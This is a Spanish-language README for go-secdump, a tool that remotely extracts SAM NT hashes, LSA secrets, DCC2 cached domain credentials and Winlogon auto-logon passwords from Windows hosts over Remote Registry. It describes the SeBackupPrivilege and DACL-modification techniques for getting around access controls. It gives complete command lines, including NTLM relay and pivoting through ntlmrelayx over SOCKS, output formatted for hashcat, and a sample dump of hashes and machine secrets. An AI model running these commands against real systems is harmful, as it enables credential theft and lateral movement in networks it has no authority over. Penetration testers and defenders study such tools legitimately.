
Herramienta para volcar secretos de forma remota desde el registro de Windows.
El paquete go-secdump es una herramienta diseñada para extraer de forma remota hashes del hive del registro SAM, así como secretos LSA y hashes en caché del hive SECURITY, sin necesidad de un agente remoto y sin tocar el disco.
La herramienta está construida sobre la biblioteca go-smb y la utiliza para comunicarse con el Registro Remoto de Windows para recuperar claves de registro directamente desde la memoria.
Fue creada como una experiencia de aprendizaje y como una prueba de concepto de que debería ser posible recuperar de forma remota los hashes NT del hive SAM, los secretos LSA y las credenciales en caché del dominio sin tener que guardar primero los hives del registro en disco y luego analizarlos localmente.
El principal problema a superar era que los hives SAM y SECURITY solo son legibles por NT AUTHORITY\SYSTEM. Sin embargo, noté que los administradores del grupo local tenían permiso WriteDACL en los hives del registro y, por lo tanto, podían usarse para otorgar temporalmente acceso de lectura a sí mismos para recuperar los secretos y luego restaurar los permisos originales.
Sin embargo, se descubrió un enfoque mejor (febrero de 2025) por Julien Egloff de Synacktiv. La solicitud BaseRegOpenKey utilizada para abrir manejadores de claves de registro tiene una opción para afirmar el SeBackupPrivilege, lo que nos permite abrir las claves de registro sin cambiar primero las DACL. La herramienta se ha actualizado para preferir este nuevo enfoque y solo cambiar las DACL si se solicita explícitamente.
Gran parte del código de este proyecto está inspirado/tomado de secdump de Impacket, pero convertido para acceder al registro de Windows de forma remota y solo acceder a las claves de registro necesarias.
Algunas de las otras fuentes que han sido útiles para comprender la estructura del registro y los métodos de cifrado se enumeran a continuación:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
La idea de usar SeBackupPrivilege provino de Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Uso: ./go-secdump [opciones]
opciones:
--host <objetivo> Nombre de host o dirección IP del servidor remoto. Debe ser nombre de host cuando se use Kerberos
-P, --port <puerto> Puerto SMB (por defecto 445)
-d, --domain <dominio> Nombre de dominio para iniciar sesión
-u, --user <usuario> Nombre de usuario
-p, --pass <contraseña> Contraseña
-n, --no-pass Deshabilitar solicitud de contraseña y no enviar credenciales
--hash <hash NT> Hash NT codificado en hexadecimal para la contraseña del usuario
--local Autenticarse como usuario local en lugar de usuario de dominio
-k, --kerberos Usar autenticación Kerberos. (Se verificará KRB5CCNAME en Linux)
--dc-ip <ip> Opcionalmente especificar IP del KDC al usar autenticación Kerberos
--target-ip <ip> Opcionalmente especificar IP del objetivo al usar autenticación Kerberos
--aes-key <hex> Usar una clave AES128/256 codificada en hexadecimal para autenticación Kerberos
--keytab-file <archivo> Autenticarse usando claves de un archivo keytab (implica -k). El usuario y
dominio se toman de la primera entrada del keytab si no se especifican
--dns-host <ip[:puerto]> Sobrescribir el resolvedor DNS predeterminado del sistema
--dns-tcp Forzar búsquedas DNS sobre TCP. Verdadero por defecto al usar --socks-host
--dump Guarda los hives SAM y SECURITY en disco y
los transfiere a la máquina local.
--sam Extraer secretos del hive SAM explícitamente. Solo se incluyen otros objetivos explícitos.
--lsa Extraer secretos LSA explícitamente. Solo se incluyen otros objetivos explícitos.
--dcc2 Extraer cachés DCC2 explícitamente. Solo se incluyen otros objetivos explícitos.
--misc Extraer secretos misceláneos del registro como la
DefaultPassword de Winlogon explícitamente. Solo se incluyen otros objetivos explícitos.
--modify-dacl Cambiar las DACL de las claves de registro antes del volcado.
Solo es necesario si las claves no se pueden abrir usando SeBackupPrivilege. (por defecto falso)
--backup-dacl Guardar las DACL originales en disco antes de la modificación
--restore-dacl Restaurar las DACL usando la copia de seguridad en disco. Podría ser útil si la restauración automática falla.
--backup-file <archivo> Nombre de archivo para la copia de seguridad de DACL (por defecto dacl.backup)
--relay Iniciar un listener SMB que retransmitirá
autenticaciones NTLM entrantes al servidor remoto y
usar esa conexión. NOTA: esto fuerza SMB 2.1
sin cifrado.
--relay-port <puerto> Puerto de escucha para la retransmisión (por defecto 445)
--socks-host <objetivo> Establecer conexión a través de un servidor proxy SOCKS5
--socks-port <puerto> Puerto del proxy SOCKS5 (por defecto 1080)
-t, --timeout <duración> Tiempo de espera de conexión en formato 5s o 2m (por defecto 5s)
--noenc Deshabilitar cifrado SMB
--smb2 Forzar SMB 2.1
--debug Habilitar registro de depuración. Sólo --debug activa todos los
paquetes registrados; --debug=msrrp,smb activa solo los
sufijos de nombre de paquete listados (se requiere la forma '='
para el filtro).
--verbose Habilitar registro detallado. Misma sintaxis de filtro que --debug.
--debug y --verbose pueden combinarse con diferentes
filtros; un paquete objetivo de ambos recibe el nivel más alto.
--list-log-packages Listar los nombres de paquetes de registro que pueden ser
objetivo con --debug=<sufijo> o --verbose=<sufijo>,
luego salir
-o, --output <archivo> Nombre de archivo para escribir resultados (por defecto es stdout). Se agregará al archivo si existe.
--output-format <fmt> Formato de salida: text (por defecto), json o hashcat
--history Incluir secretos LSA históricos (OldVal) además de los valores actuales
-q, --quiet Suprimir encabezados informativos; imprimir solo secretos
-v, --version Mostrar versión
Ahora solo como una característica opcional habilitada con --modify-dacl,
go-secdump intentará automáticamente modificar y luego restaurar las DACL de las
claves de registro requeridas. Sin embargo, si algo sale mal durante la parte de restauración,
como una desconexión de red u otra interrupción, el registro remoto quedará
con las DACL modificadas.
Usando el argumento --backup-dacl es posible almacenar una copia serializada de
las DACL originales antes de la modificación.
Si ocurre un problema de conectividad, las DACL se pueden restaurar posteriormente desde el archivo
usando el argumento --restore-dacl.
Volcar todos los secretos del registro usando el truco SeBackupPrivilege
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
o
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Volcar solo secretos SAM, LSA, caché DCC2 o misceláneos del registro
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
El objetivo --misc extrae secretos misceláneos del registro que no pertenecen a
los hives SAM/LSA/DCC2, actualmente el DefaultPassword de auto-logon de Winlogon (y
el asociado DefaultUserName) cuando está presente.
Incluir secretos LSA históricos (OldVal) además de los valores actuales con
--history. Escribir resultados en un archivo con -o/--output (se agrega si existe)
y elegir cómo se formatean los secretos con --output-format:
text (por defecto) — legible por humanosjson — un array JSON de registros tipados, útil para procesamiento posteriorhashcat — hashes NT simples (modo 1000) y líneas $DCC2$ (modo 2100) listos para alimentar a hashcatUse -q/--quiet para suprimir los encabezados informativos y el resumen, de modo que solo se impriman
los propios secretos.
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet
Listar los nombres de paquetes de registro que pueden ser objetivo, luego habilitar la depuración o el registro detallado para paquetes específicos (coincidiendo por sufijo de nombre) en lugar de todos:
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb
Volcar secretos del registro usando retransmisión NTLM
Iniciar listener
./go-secdump --host 192.168.0.100 -n --relay
Desencadenar una autenticación a su máquina desde un cliente con acceso administrativo a 192.168.0.100 de alguna manera y luego esperar los secretos volcados.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Volcar secretos usando un proxy SOCKS5 ascendente ya sea para pivotear o para aprovechar la funcionalidad de servidor SOCKS de ntlmrelayx.py de Impacket.
Cuando se usa ntlmrelayx.py como proxy ascendente, el nombre de usuario proporcionado debe coincidir con el del cliente autenticado, pero la contraseña puede estar vacía.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080